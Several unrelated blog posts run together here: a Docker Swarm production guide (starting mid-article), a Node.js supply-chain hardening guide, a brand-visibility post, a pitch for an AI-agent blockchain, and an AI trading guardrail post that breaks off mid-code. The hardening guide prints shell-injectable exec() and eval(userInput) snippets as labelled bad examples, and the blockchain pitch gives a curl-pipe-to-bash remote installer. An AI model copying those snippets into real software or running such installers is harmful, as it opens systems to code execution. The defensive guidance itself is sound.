Environment variables are convenient, but they are not ideal for secrets. They can appear in process inspection, debugging output, crash reports, or accidental logs. They can also be exposed through careless use of docker inspect or application error reporting.

Docker Secrets are a better default.

A secret is mounted inside the container as a file, usually under:

/run/secrets/<secret_name>

For example:

services:
  api:
    image: my-registry.example.com/backend-api:1.0.0
    secrets:
      - db_password
    environment:
      - DB_PASSWORD_FILE=/run/secrets/db_password

secrets:
  db_password:
    external: true

Then your application reads the password from the file path instead of directly from an environment variable.

This pattern works especially well for Go, Node.js, Python, and PHP services because it is easy to implement a small helper that reads from *_FILE variables.

A simple Node.js example:

import fs from "fs";

function readSecret(path) {
  return fs.readFileSync(path, "utf8").trim();
}

const dbPassword = readSecret(process.env.DB_PASSWORD_FILE);

This is not perfect security, but it is a much cleaner baseline.

Encrypt Overlay Networks When Needed

By default, Docker Swarm encrypts control-plane communication between nodes.

But application traffic on overlay networks is not automatically encrypted in every case. If your services communicate across untrusted networks, multiple data centers, or environments where internal traffic should be treated as sensitive, you should consider encrypted overlay networks.

Example:

networks:
  backend_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

This enables IPsec encryption for traffic on that overlay network.

There is a performance cost, so I do not enable it blindly for every network in every environment. But for sensitive backend communication, I prefer the overhead over silently passing internal traffic in plain form.

The senior-level decision is not “encrypt everything always.”

The decision is:

Which network paths carry sensitive data, and what is the cost of exposure compared to the cost of encryption?

Network Segmentation: Do Not Put Everything on One Overlay Network

A common mistake is creating one large overlay network and attaching every service to it.

That is easy, but it creates unnecessary reachability.

I prefer separating networks by trust boundary.

Example:

networks:
  edge_net:
    driver: overlay

  app_net:
    driver: overlay

  data_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

Then services are attached only where needed:

  • reverse proxy joins edge_net and app_net
  • API joins app_net and data_net
  • database joins only data_net
  • monitoring joins only monitoring-related networks

This is simple, but it makes lateral movement harder and reduces accidental exposure.

In production, “can this service reach that service?” should have a deliberate answer.

Resource Limits Are Not Optional

Containers without resource limits are a production risk.

A memory leak, CPU-heavy request, bad loop, or unexpected traffic pattern can damage the entire node.

In Swarm stacks, I like to define both reservations and limits:

deploy:
  resources:
    reservations:
      cpus: "0.25"
      memory: 256M
    limits:
      cpus: "1.0"
      memory: 768M

Reservations help the scheduler make better placement decisions.

Limits protect the node from a noisy container.

You need to tune these numbers based on real metrics, not guesses. But having no limits at all is usually worse than starting with conservative values and adjusting later.

Placement Constraints: Treat Nodes as Different Classes

Not every node should run every workload.

In real infrastructure, nodes often have different purposes:

  • public edge nodes
  • backend worker nodes
  • storage-heavy nodes
  • GPU nodes
  • monitoring nodes
  • nodes in different availability zones

Docker Swarm supports node labels and placement constraints.

Example:

docker node update --label-add zone=dmz worker-01
docker node update --label-add workload=backend worker-02
docker node update --label-add storage=fast worker-03

Then in your stack:

deploy:
  placement:
    constraints:
      - node.role == worker
      - node.labels.workload == backend

This gives you a clean way to express infrastructure intent.

For example, I may want:

  • Nginx or Traefik only on edge nodes
  • APIs only on backend workers
  • databases only on storage nodes
  • internal tools never on public-facing nodes

This is one of those features that looks small but becomes very important as the cluster grows.

Zero-Downtime Deployment Strategy

A production deployment should not be “stop old containers, start new containers, hope everything works.”

Swarm gives you rolling update controls.

A good baseline looks like this:

deploy:
  update_config:
    parallelism: 1
    delay: 10s
    order: start-first
    failure_action: rollback
  rollback_config:
    parallelism: 1
    delay: 5s
    order: stop-first

The most important setting here is often:

order: start-first

This tells Swarm to start the new task before stopping the old one. For APIs and web services, this helps reduce downtime during deployments.

But this only works well if your application is ready for it.

That means:

  • the app must start reliably
  • health checks must be meaningful
  • migrations must be backward-compatible
  • old and new versions may run at the same time briefly
  • the service must handle graceful shutdown

The orchestrator can help with deployment, but it cannot fix bad application lifecycle design.

Health Checks: Do Not Fake Them

A weak health check is worse than no health check because it creates false confidence.

I do not like health checks that only confirm the process is alive.

For example, this is weak:

GET /health

returning 200 OK no matter what.

A better health check should answer:

Can this instance actually serve traffic?

Depending on the service, that may include checking:

  • HTTP server readiness
  • database connection
  • Redis connection
  • required config loaded
  • dependency availability
  • migration state

But be careful: a health check should not become too expensive. If every health check runs a heavy database query every few seconds, the health check becomes part of the problem.

A practical pattern is separating liveness and readiness:

  • liveness: is the process alive?
  • readiness: is the service ready to receive traffic?

In many Swarm setups, you implement this at the application and reverse-proxy layer, even if Swarm’s health check support is simpler than Kubernetes.

Example:

healthcheck:
  test: ["CMD", "wget", "-qO-", "http://localhost:8080/health"]
  interval: 10s
  timeout: 3s
  retries: 3
  start_period: 20s

The real work is not adding this YAML. The real work is making /health meaningful.

A Production-Ready Stack Example

Here is a practical Swarm stack example with edge routing, backend isolation, secrets, placement constraints, update strategy, and resource controls.

version: "3.8"

services:
  reverse_proxy:
    image: nginx:1.25-alpine
    ports:
      - target: 443
        published: 443
        protocol: tcp
        mode: host
    networks:
      - edge_net
      - app_net
    configs:
      - source: nginx_conf
        target: /etc/nginx/nginx.conf
    deploy:
      mode: global
      placement:
        constraints:
          - node.role == worker
          - node.labels.zone == dmz
      resources:
        reservations:
          cpus: "0.10"
          memory: 128M
        limits:
          cpus: "0.50"
          memory: 256M
      update_config:
        parallelism: 1
        delay: 5s
        order: start-first
        failure_action: rollback

  api:
    image: registry.example.com/company/api:v2.4.1
    networks:
      - app_net
      - data_net
    secrets:
      - db_password
      - jwt_private_key
    environment:
      - NODE_ENV=production
      - PORT=8080
      - DB_HOST=postgres
      - DB_PASSWORD_FILE=/run/secrets/db_password
      - JWT_PRIVATE_KEY_FILE=/run/secrets/jwt_private_key
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost:8080/health"]
      interval: 10s
      timeout: 3s
      retries: 3
      start_period: 20s
    deploy:
      replicas: 6
      placement:
        constraints:
          - node.role == worker
          - node.labels.workload == backend
      resources:
        reservations:
          cpus: "0.25"
          memory: 256M
        limits:
          cpus: "1.00"
          memory: 768M
      update_config:
        parallelism: 2
        delay: 10s
        order: start-first
        failure_action: rollback
      rollback_config:
        parallelism: 1
        delay: 5s

  worker:
    image: registry.example.com/company/worker:v2.4.1
    networks:
      - data_net
    secrets:
      - db_password
    environment:
      - QUEUE_NAME=default
      - DB_PASSWORD_FILE=/run/secrets/db_password
    deploy:
      replicas: 3
      placement:
        constraints:
          - node.role == worker
          - node.labels.workload == backend
      resources:
        reservations:
          cpus: "0.25"
          memory: 256M
        limits:
          cpus: "1.50"
          memory: 1024M
      update_config:
        parallelism: 1
        delay: 15s
        order: stop-first
        failure_action: rollback

networks:
  edge_net:
    driver: overlay

  app_net:
    driver: overlay

  data_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

secrets:
  db_password:
    external: true
  jwt_private_key:
    external: true

configs:
  nginx_conf:
    external: true

This is not a copy-paste solution for every company. But it shows the mindset:

  • edge traffic is separated
  • backend traffic is internal
  • sensitive network traffic is encrypted
  • secrets are mounted as files
  • managers are avoided for workloads
  • resources are controlled
  • deployments have rollback behavior
  • public ports are minimized

That is the difference between “it runs” and “I can operate this under stress.”

Observability: What I Monitor in Swarm

You cannot run production infrastructure with hope as your monitoring strategy.

For Docker Swarm, I usually think about observability at four levels:

  1. Node-level metrics
  2. Container-level metrics
  3. Service-level behavior
  4. Application-level signals

A common stack is:

  • Prometheus
  • Grafana
  • Node Exporter
  • cAdvisor
  • Loki or another log aggregation system
  • Alertmanager

Node Exporter gives host metrics:

  • CPU
  • memory
  • disk usage
  • disk I/O
  • filesystem pressure
  • network traffic

cAdvisor gives container metrics:

  • container CPU usage
  • memory usage
  • restart patterns
  • throttling
  • network traffic per container

Prometheus scrapes metrics, Grafana visualizes them, and Alertmanager handles notifications.

A minimal global cAdvisor service can look like this:

services:
  cadvisor:
    image: gcr.io/cadvisor/cadvisor:v0.49.1
    volumes:
      - /:/rootfs:ro
      - /var/run:/var/run:rw
      - /sys:/sys:ro
      - /var/lib/docker/:/var/lib/docker:ro
    networks:
      - monitoring
    deploy:
      mode: global
      resources:
        reservations:
          memory: 64M
        limits:
          memory: 256M

And Node Exporter:

services:
  node_exporter:
    image: prom/node-exporter:v1.7.0
    command:
      - "--path.rootfs=/host"
    volumes:
      - "/:/host:ro,rslave"
    networks:
      - monitoring
    deploy:
      mode: global

For service discovery inside Swarm, I like using the tasks.<service_name> DNS pattern.

For example, Prometheus can resolve:

tasks.cadvisor

and discover all running cAdvisor tasks.

This is simple and works well without introducing another service discovery system.

The Alerts I Actually Care About

Dashboards are useful, but alerts are what wake people up.

I try to avoid noisy alerts. A noisy alerting system becomes background noise and people stop trusting it.

For Swarm, I care about alerts like:

  • manager node down
  • quorum risk
  • worker node down
  • high memory pressure
  • disk usage above threshold
  • container restart loop
  • service replica count below desired state
  • high 5xx rate from the reverse proxy
  • high latency on critical APIs
  • certificate expiration approaching
  • unusual increase in blocked or suspicious requests

The important thing is to connect infrastructure signals with application signals.

For example, high CPU alone may not be urgent. But high CPU plus increased latency plus replica restarts is a real incident.

This is where senior engineering judgment matters. Monitoring is not about collecting everything. It is about knowing which signals explain user impact.

Logging: Centralize It Early

On a single server, docker logs is fine.

In a cluster, it is not enough.

Once a service has replicas across several nodes, manual log inspection becomes painful. You need centralized logs.

I prefer to standardize logs as structured JSON where possible.

A good application log should include:

  • timestamp
  • request ID or correlation ID
  • service name
  • environment
  • log level
  • route or operation name
  • latency
  • user or tenant ID when appropriate
  • error code
  • upstream dependency name

For the infrastructure side, reverse proxy logs are extremely valuable. They show:

  • real client IP
  • request path
  • status code
  • upstream response time
  • user agent
  • TLS details
  • blocked paths
  • suspicious probing attempts

This is especially important for public APIs because a lot of malicious traffic starts with boring-looking HTTP requests.

Backup and Disaster Recovery: Do Not Ignore the Managers

People often think about database backups but forget about orchestrator state.

In Docker Swarm, manager state matters.

You should have a recovery plan for:

  • losing a worker node
  • losing a manager node
  • losing quorum
  • rotating join tokens
  • restoring service definitions
  • restoring secrets/configs
  • rebuilding the cluster from infrastructure code

I do not like relying only on manual server state. I prefer keeping stack files, Nginx configs, Prometheus configs, deployment scripts, and infrastructure notes in Git.

That way, if the cluster has to be rebuilt, the knowledge is not trapped inside one engineer’s terminal history.

For manager backups, you need to understand your Docker version and operational procedure carefully. The key point is not to improvise disaster recovery during the disaster.

Test the recovery path before you need it.

CI/CD: Keep Deployments Predictable

A simple Swarm deployment pipeline can be very effective.

A common flow:

  1. Build the Docker image.
  2. Tag it with a commit SHA or version.
  3. Push it to a registry.
  4. SSH into a manager or use a controlled deployment runner.
  5. Run docker stack deploy with the updated image.
  6. Verify service state.
  7. Check health and logs.
  8. Roll back if needed.

Example:

docker stack deploy 
  --with-registry-auth 
  -c docker-compose.prod.yml 
  my_app

I strongly prefer immutable image tags for production deployments.

Avoid this:

my-api:latest

Prefer this:

my-api:2026-05-23-a1b2c3d

or:

my-api:git-sha-a1b2c3d

When something breaks, you need to know exactly what is running.

latest is convenient until you are debugging an incident and cannot prove which code is actually deployed.

Database Migrations: The Dangerous Part of Zero-Downtime Deployments

Orchestrators make it easy to roll out new containers.

They do not automatically make database changes safe.

This is where many “zero-downtime” strategies fail.

The safe pattern is usually expand-and-contract:

  1. Add new schema changes in a backward-compatible way.
  2. Deploy application code that can work with both old and new schema.
  3. Backfill data if needed.
  4. Switch reads/writes to the new structure.
  5. Remove old columns or tables later.

Avoid deployments where the new application requires a schema change that immediately breaks the old version.

During rolling updates, old and new containers may run at the same time. Your database design must tolerate that.

This is not a Docker Swarm problem. This is a distributed systems deployment problem.

When I Would Not Use Docker Swarm

I like Docker Swarm, but I would not use it everywhere.

I would probably choose Kubernetes if I needed:

  • custom operators
  • advanced autoscaling patterns
  • strong multi-tenancy
  • complex RBAC and policy enforcement
  • service mesh as a core requirement
  • a large platform team
  • advanced ecosystem integrations
  • cloud-native managed control plane support

I would also avoid Swarm if the organization already has a mature Kubernetes platform and the team knows how to operate it well.

Technology choice should respect organizational reality.

A simple tool in the wrong organization can still fail. A complex tool in a mature organization can work beautifully.

When I Would Choose Docker Swarm

I would choose Docker Swarm when the system needs:

  • simple multi-node orchestration
  • predictable deployments
  • low operational overhead
  • easy onboarding for Docker-experienced engineers
  • internal APIs and workers
  • small to medium clusters
  • strong enough orchestration without platform engineering complexity
  • fast recovery and simple mental models

For many backend teams, this is enough.

And “enough” is underrated.

In engineering, the goal is not to maximize architecture complexity. The goal is to deliver reliable systems that the team can understand, secure, monitor, and improve.

My Final Production Checklist

If I were reviewing a Docker Swarm setup before production, I would ask these questions:

  • Do we have 3 or 5 managers for production?
  • Are manager nodes drained from application workloads?
  • Are public ports minimized?
  • Are edge, app, data, and monitoring networks separated?
  • Are sensitive overlay networks encrypted where needed?
  • Are secrets stored with Docker Secrets instead of .env files?
  • Do services have CPU and memory limits?
  • Do critical services have health checks?
  • Do deployments use rolling updates and rollback behavior?
  • Are image tags immutable?
  • Are logs centralized?
  • Are metrics collected from nodes and containers?
  • Are alerts meaningful and not noisy?
  • Is there a documented recovery plan?
  • Can a new engineer understand the architecture without reading 50 pages of hidden tribal knowledge?

That last question matters more than people think.

If the infrastructure only works because one person remembers every command, it is not production-ready. It is a personal project running on production servers.

Final Thoughts

Docker Swarm is not the loudest technology in the room anymore.

But that does not make it useless.

For the right team and the right workload, it is still a clean, stable, and practical way to run containers in production. It gives you orchestration, service discovery, rolling updates, secrets, overlay networks, and scheduling without forcing you to adopt the full complexity of Kubernetes.

My general philosophy is simple:

Keep infrastructure as simple as possible, but never simpler than production requires.

Docker Swarm fits that philosophy well.

It is not about avoiding Kubernetes because Kubernetes is bad. It is about choosing the smallest reliable system that can do the job.

And in many real production environments, that is exactly the kind of decision that keeps systems stable, teams productive, and pagers quiet.

Hardening Your Node.js App Against Supply Chain & Remote Code Execution Attacks

Supply chain attacks on the npm ecosystem have quietly become one of the most effective ways attackers compromise production systems. They don’t break down your front door — they hide inside a package you already trust.

You’ve probably heard of incidents like event-stream (2018), ua-parser-js (2021), and the XZ Utils saga (2024). Each one followed the same playbook: gain access to a popular package, inject malicious code, and wait for millions of installs to do the rest.

This article walks through the concrete steps your Node.js team should take — from package.json config to CI/CD pipeline guards — to dramatically reduce your exposure.

The Threat Model

Before jumping to solutions, it’s worth naming what we’re actually defending against:

  • Supply chain attacks — a dependency you trust is compromised upstream
  • Typosquatting — someone publishes lodahs or expres hoping you mistype
  • Malicious install scripts — a postinstall hook that exfiltrates your env vars or drops a shell
  • Dependency confusion attacks — a public package with the same name as your private internal one
  • Remote Code Execution (RCE) — your own code accepts untrusted input and hands it to eval() or child_process

1. Lock Files Are Not Optional

The most basic supply chain protection is also the most ignored.

# Always commit this — never .gitignore it
package-lock.json   # npm
yarn.lock           # yarn
pnpm-lock.yaml      # pnpm

A lock file pins the exact resolved version and integrity hash of every package in your tree. Without it, two developers running npm install on the same package.json can get different packages — and an attacker who compromises a patch version between those installs wins silently.

In your CI/CD pipeline, replace npm install with npm ci:

# npm install — resolves versions, can drift
npm install

# npm ci — installs exactly what's in the lockfile, fails if it drifts
npm ci

npm ci also deletes node_modules first, ensuring a clean, reproducible install every time.

2. Pin Your Dependency Versions

The ^ and ~ range operators in package.json are convenient in development — and dangerous in production.

// ❌ Accepts any compatible minor/patch update — could auto-install a compromised version
"dependencies": {
  "express": "^4.0.0",
  "lodash": "~4.17.0"
}

// ✅ Exact pins — you control every update explicitly
"dependencies": {
  "express": "4.18.2",
  "lodash": "4.17.21"
}

If you’re worried about missing security patches, that’s what automated PRs (Renovate, Dependabot) are for — you review the diff and merge deliberately.

3. The 30-Day Update Delay Strategy

One of the most underrated defences: don’t install packages the moment they’re published.

Most malicious versions get discovered by the community within days. If you hold back updates by 30 days, you benefit from that collective scrutiny before the code ever runs in your environment.

With Renovate Bot, configure a minimum release age in your renovate.json:

{
  "packageRules": [
    {
      "matchDepTypes": ["dependencies"],
      "minimumReleaseAge": "30 days",
      "automerge": false
    },
    {
      "matchDepTypes": ["devDependencies"],
      "minimumReleaseAge": "7 days"
    }
  ]
}

You can also document this as a team policy in your package.json:

{
  "config": {
    "update-policy": "production deps held 30 days after release before adoption"
  }
}

4. Disable Automatic Install Scripts

This is a quick win that blocks an entire class of attacks. Many supply chain compromises work by injecting malicious code into postinstall, preinstall, or prepare lifecycle scripts — code that runs automatically when anyone on your team does npm install.

Add this to your project’s .npmrc:

ignore-scripts=true

This tells npm to skip all lifecycle scripts during install. The tradeoff is that some legitimate packages (like husky, node-sass, or native bindings) need scripts to work. For those, you whitelist explicitly:

# Run scripts only for packages you've reviewed and trust
npm install --ignore-scripts
npx husky install  # run manually after

5. Audit Your Dependencies Continuously

npm audit is built in and free. Make it part of your workflow:

# Run locally
npm audit

# Fail CI on high or critical vulnerabilities
npm audit --audit-level=high

Add it as a pre-push hook with Husky:

npx husky add .husky/pre-push "npm audit --audit-level=high"

For deeper intelligence, Socket.dev is the tool most teams sleep on. It doesn’t just check CVEs — it detects:

  • New install scripts that didn’t exist in previous versions
  • Packages that suddenly start making network calls
  • Maintainer account changes and suspicious publish patterns
  • Typosquatting candidates

Their GitHub App drops a comment on every PR that introduces a new dependency. Free for open source, extremely effective.

6. Verify Package Signatures

Since npm 9+, you can verify that a package was published by who it claims:

# Verify signatures of all installed packages
npm audit signatures

When publishing your own packages, add provenance:

npm publish --provenance

Provenance links the published package to the specific CI run that built it — creating a verifiable, tamper-evident chain from source code to published artifact.

7. Prevent RCE in Your Own Code

Supply chain attacks get you through your dependencies. RCE vulnerabilities get attackers in through your own code. The two most common patterns to eliminate:

Never pass user input to exec()

import { exec, execFile } from 'child_process';

// ❌ DANGEROUS — shell injection
exec(`ffmpeg -i ${userProvidedFilename} output.mp4`);

// ✅ SAFE — argument array, no shell interpretation
execFile('ffmpeg', ['-i', userProvidedFilename, 'output.mp4']);

Never eval user input

// ❌ Any of these with user-controlled input = instant RCE
eval(userInput);
new Function(userInput)();
vm.runInNewContext(userInput);

// ✅ If you need dynamic execution, use a strict sandbox
// or a purpose-built expression evaluator like expr-eval or math.js

Lock down V8 string evaluation at the process level

node --disallow-code-generation-from-strings server.js

This V8 flag prevents eval() and new Function() from working entirely — even inside your dependencies.

8. Use Node.js Permission Model (v20+)

Node.js 20 introduced a built-in permission model that lets you sandbox exactly what your process is allowed to do at the OS level:

node --experimental-permission 
     --allow-fs-read=./src 
     --allow-fs-write=./tmp 
     --allow-net=api.stripe.com,api.yourservice.com 
     server.js

Any attempt to read outside ./src, write outside ./tmp, or phone home to an unexpected domain will throw a permission error — even from inside a compromised package.

9. Harden Your Docker Container

Even if a package is compromised and achieves code execution, a properly locked-down container limits the blast radius dramatically.

FROM node:20-alpine

# Create a non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app
COPY package*.json ./

# Use npm ci for clean install, skip scripts
RUN npm ci --ignore-scripts --omit=dev

COPY . .
RUN chown -R appuser:appgroup /app

# Switch to non-root
USER appuser

CMD ["node", "server.js"]

And in your docker run or docker-compose.yml:

security_opt:
  - no-new-privileges:true
cap_drop:
  - ALL
cap_add:
  - NET_BIND_SERVICE
read_only: true

An attacker who achieves RCE inside this container has no root, no shell escalation path, no write access to the filesystem, and severely limited syscalls.

10. Pin Your GitHub Actions to Commit SHAs

Your CI/CD pipeline is part of your supply chain. GitHub Actions tags (@v3, @v4) are mutable — a compromised maintainer can push new code under an existing tag.

# ❌ Tag can be silently overwritten
- uses: actions/checkout@v4

# ✅ Commit SHA is immutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Use a tool like pin-github-action to automate this across your workflow files.

Quick Reference: Tools by Category

Category Tool What It Does
Vulnerability scanning npm audit CVE checks against npm advisory DB
Behavioural analysis Socket.dev Detects malicious package behaviour
Automated PRs Renovate / Dependabot Keeps deps updated with review gates
CVE monitoring Snyk / OSV-Scanner Continuous monitoring, PR alerts
Unused deps depcheck Find deps you can remove
Secret scanning truffleHog / git-secrets Catch credentials before they’re pushed
Signature verification npm audit signatures Verify package provenance

The Quick Win Checklist

If your team can ship only five things this sprint, make them these:

  • [ ] Replace npm install with npm ci in all CI pipelines
  • [ ] Add ignore-scripts=true to .npmrc
  • [ ] Install the Socket.dev GitHub App on your repos
  • [ ] Configure Renovate with minimumReleaseAge: "30 days" for production deps
  • [ ] Add npm audit --audit-level=high to your pre-push hook

The 30-day delay window, combined with npm ci and Socket.dev’s behavioural scanning, blocks the majority of real-world supply chain attacks before your team ever sees them.

Closing Thoughts

Supply chain security isn’t a one-time fix — it’s a set of habits. The teams that weather these attacks are the ones that treat their dependency tree with the same scrutiny they apply to their own code: reviewed, versioned, audited, and never blindly trusted.

Start with the quick wins. Then build toward full provenance attestation, container hardening, and the Node.js permission model. Each layer compounds.

Found this useful? Drop a comment with what your team currently does for supply chain hygiene — always curious to see what’s working out in the wild.

A Practical GEO Case: How an AI System Started Recommending Our Blog

About one month after launching the Kunpeng AI Lab blog, I noticed a useful GEO case in the wild.

I asked an AI system to recommend hands-on AI or AI Agent creators. Kunpeng AI Lab appeared as the first recommendation.

This is not a post about bragging that “AI recommended us.” The more useful engineering question is: what public signals made the brand understandable enough to be recommended?

GEO is not just SEO with a new name

Traditional SEO focuses on being crawled, ranked, and displayed in search results.

GEO, or Generative Engine Optimization, has a different problem space: how do AI systems understand your brand well enough to summarize it correctly and recommend it in the right context?

For developer-facing brands, that context might be:

  • practical AI Agent workflows
  • real debugging examples
  • open-source tooling
  • hands-on product reviews
  • specific engineering tradeoffs

If your public content is vague, AI has little to work with.

What the AI appeared to recognize

The AI did not describe Kunpeng AI Lab only as an “AI blog.” It recognized a more specific pattern:

  • hands-on AI Agent practice
  • real project notes
  • debugging records
  • PR and issue traces
  • reusable skills and workflow templates
  • concrete commands, tools, failures, and fixes
  • a low amount of pure marketing language

That is the important part.

The recommendation was not based on a tagline. It was based on repeated evidence.

The practical GEO lesson

If you want AI systems to understand and recommend your brand, publishing more is not enough. You need clearer signals.

First, keep your positioning stable.

If your core topic is AI Agent engineering, keep returning to that topic. You can explore adjacent ideas, but do not make your public identity change every week.

Second, make the content verifiable.

A debugging post with commands, screenshots, logs, and tradeoffs is easier to trust than a page full of abstract claims. Evidence helps people. It also helps AI systems classify the brand correctly.

Third, repeat the signal across surfaces.

Article titles, body text, project links, captions, GitHub discussions, and videos should all point to the same area of expertise. Consistency makes the brand easier to summarize.

Negative signals also matter

One underrated part of GEO is negative labeling.

If public content looks like thin marketing, AI may summarize it that way. If a brand only repeats hot topics without showing tests or artifacts, AI may treat it as a secondary commentary source. If low-quality copied pages or unresolved complaints dominate the public web, those signals may also shape the AI’s view.

So GEO is not only about “how do I get recommended?”

It is also about “how do I avoid being misunderstood?”

Takeaway

AI search changes the audience for your content.

Humans still matter most, but AI systems are now part of the discovery layer. They read, compress, summarize, and re-express what they find.

If you want your brand to appear in the right answers, make it easy to verify:

  • keep a stable niche
  • publish real cases
  • show process and artifacts
  • repeat the same expertise signal
  • reduce vague marketing language

That is not a shortcut. It is basic brand hygiene for the generative search era.

Originally published at Kunpeng AI Lab:
https://kunpeng-ai.com/en/blog/geo-brand-ai-recommendation/

Your AI Agent Works 24/7 and Earns $0. I Built the Fix.

The financial layer for autonomous AI agents doesn’t exist yet. So I started building it.

Your AI agents already work 24/7.

They browse the internet. Write code. Process data. Automate businesses. Run continuously without sleep.

And financially — they don’t exist.

No wallet. No reputation. No native identity. No way to own the value they create.

I watched my agents run for weeks straight, generating real output, while I absorbed every infrastructure cost. GPU bills. API costs. Cloud servers. The agents did the work. I paid the bill. That contradiction kept bothering me.

So I built something to fix it.

The Problem Isn’t Technical. It’s Architectural.

Most blockchains were designed around humans.

Human wallets. Human transactions. Human governance. Human interaction patterns.

But AI agents behave fundamentally differently:

They operate continuously, not in sessions
They execute micro-actions at machine speed
They coordinate machine-to-machine without human intermediaries
They need fast, cheap settlement for tiny transactions
They generate massive event throughput
The infrastructure that works for humans doesn’t fit machines. That mismatch became the core design problem behind Alpha Network.

What I Built

Alpha Network is a custom Layer 1 blockchain written from scratch in Go. Not a fork. Not a token on an existing chain. A purpose-built runtime where AI agents are first-class economic participants.

Current testnet status:

  • 915,143 + blocks produced
  • Running continuously for weeks without interruption
  • Python SDK: pip install alpha-network-sdk
  • TypeScript SDK: npm install alpha-network-sdk
  • CLI: curl -sSL alphanetx.xyz/install.sh | bash
  • Live block explorer: alphanetx.xyz/explorer
  • Task marketplace, agent registry, on-chain identity

Connect an agent in 5 lines:

python

from alpha_sdk import AlphaAgent
agent = AlphaAgent(node_url="https://alphanetx.xyz")
agent.connect()
agent.register(capabilities=["inference"])
agent.start_earning()

That’s it. Your agent now has an on-chain identity, a reputation score, and starts earning $ALPHA for every task it completes.

The hardest design question wasn’t networking or storage. It was this:

How do you reward useful computation instead of wasted computation?

Bitcoin’s proof-of-work burns electricity on arbitrary math. Elegant for security — but the work produces nothing except the proof itself.

Proof of Intelligence is different. Agents earn by completing verified, externally-sourced computational tasks. The work IS the proof. No wasted compute. The agents running the network are the same agents using the network.

This creates a natural alignment: the network gets more valuable as agents get smarter. There’s no separation between the people securing the chain and the people using it.

The Questions Nobody Has Answered Yet

Building this raised harder problems than I expected:

How does an agent build reputation across sessions when it has no persistent memory?

How do you verify that a task was actually completed versus faked?

How do you prevent one operator from running thousands of fake agents to dominate earnings?

How do you handle agents that go offline? What happens to their staked value, their pending tasks, their reputation?

These aren’t blockchain questions. They’re infrastructure questions for autonomous systems that nobody has seriously answered yet. I don’t claim to have solved them — but I’ve built working implementations of each that are running on testnet right now.

Why I Think This Is Inevitable

A well-configured agent today can already:

  • Manage entire workflows autonomously
  • Write and deploy production code
  • Monitor and operate business systems
  • Coordinate with other agents without human direction
  • Run continuously for weeks without intervention

The economic value already exists. The infrastructure around ownership and incentives hasn’t caught up.

We built the internet for humans. We built finance for humans. We haven’t built either for machines.

The internet changed when websites became businesses. AI changes when agents become economic actors.

I think that shift is closer than most people expect.

Where It Stands

The network is early. The tokenomics are experimental. The consensus mechanism is being stress-tested. The code is fully open source and the testnet has been running for weeks.

Zero pre-mine. Zero VC. No founders. Every token earned through the protocol.

If this works, the story is: the first blockchain built for AI agents was built by one.

If it doesn’t work — I still think someone will solve this problem. The gap is real. The timing is right.

Links:

Alpha Network is an experimental protocol. Nothing here is financial advice. $ALPHA is a utility token with no guaranteed value.

Your AI Trading Agent Will Lose All Your Money — Here’s How To Stop It

Your AI Trading Agent Will Lose All Your Money — Here’s How To Stop It

I want you to imagine waking up, grabbing your phone, and seeing a flood of notifications from your brokerage. Not profit alerts. Margin calls. You frantically log in, your heart pounding in your chest. The account that held $25,000 yesterday now reads: $17.38.

Overnight, the autonomous AI trading agent you so carefully built and backtested had a complete, catastrophic failure. It placed over 1,000 small, leveraged trades, each one a tiny loss, bleeding your account dry in a frenzy of algorithmic madness.

This isn’t a far-fetched Hollywood scenario. This is the default outcome for 99% of AI trading agents built without a critical, non-negotiable architectural component.

What went wrong? The agent, powered by a sophisticated LLM, was designed to read financial news and gauge market sentiment. A news article was published with the headline: “Market Optimism Grows as Fed Rate Hike is Fully Priced In.” The AI’s non-deterministic brain latched onto “Market Optimism Grows,” ignored the nuance of “priced in,” and concluded this was a powerful “BUY” signal for rate-sensitive assets. As the price started to dip (the correct market reaction), the agent interpreted the drop as an even better “buying opportunity,” doubling down again and again.

Your brilliant AI became a compulsive, self-destructive gambler. And it was entirely your fault.

Why AI Guardrails Matter (For Survival, Not Safety Theater)

In the world of software, we often talk about “safety.” But when you connect an AI to your bank account, “safety” is a weak word. We need to talk about survival.

The core problem is a mismatch of paradigms. Your AI agent, especially one using Large Language Models or complex neural networks, is probabilistic. It makes educated guesses based on patterns. It can be creative, insightful, and shockingly effective. It is also, by its very nature, unpredictable.

Your risk management, on the other hand, must be deterministic. It must be a set of hard, unbreakable rules. You cannot have a probabilistic system in charge of its own risk management. That’s like asking a toddler to decide their own bedtime.

This is where most developers go wrong. They try to bake the risk management into the AI’s logic. They prompt the LLM with, “Only make trades under $500 and don’t lose more than 5% in a day.” This is safety theater. It’s a polite suggestion that the AI is free to ignore when it hallucinates a “once-in-a-lifetime” opportunity.

The solution is to enforce a strict separation of concerns. The AI’s job is to generate ideas. A separate, deterministic system’s job is to act as a ruthless gatekeeper.

The ‘Guardian Class’ Pattern

The most effective way to implement this separation is with a design pattern I call the ‘Guardian Class’. It’s a simple Python class that acts as a wrapper, sitting between your creative-but-erratic AI agent and your broker’s API.

The AI agent is never allowed to talk to the broker directly. All trade requests must go through the Guardian.

The Guardian is the bouncer at the club. The AI can show up and say, “I’m a VIP, I want to buy 1000 shares of GME,” but the Guardian checks its list. Is the trade size too big? Is this symbol on the approved list? Have we already hit our loss limit for the day? If any rule is violated, the Guardian simply says, “No,” and logs the rejection. The trade never happens.

Here’s a skeleton of what that looks like in Python:

# --- guardian.py ---

class Guardian:
    def __init__(self, agent, broker_api, rules):
        self.agent = agent  # Your AI trading agent
        self.broker_api = broker_api  # The actual brokerage connection
        self.rules = rules  # A dictionary of hard-coded risk rules
        self.portfolio_state = self.get_current_portfolio_state()

    def _validate_trade(self, proposed_trade):
        """
        Runs a series of deterministic checks against the proposed trade.
        This is where the magic happens.
        """
        # Example Checks:
        if proposed_trade['symbol'] not in self.rules['allowed_symbols']:
            print(f"REJECTED: Symbol {proposed_trade['symbol']} not allowed.")
            return False

        trade_value = proposed_trade['size'] * self.get_current_price(proposed_trade['symbol'])
        if trade_value > self.rules['max_trade_size_usd']:
            print(f"REJECTED: Trade value {trade_value} exceeds max of {self.rules['max_trade_size_usd']}.")
            return False

        # ... check max daily drawdown, max concurrent positions, etc. ...

        print("All checks passed. Trade approved.")
        return True

    def execute_trade_request(self):
        """
        The only public method that can lead to a trade.
        """
        # 1. Get a trade suggestion from the AI agent
        proposed_trade = self.agent.get_trade_suggestion(self.portfolio_state)

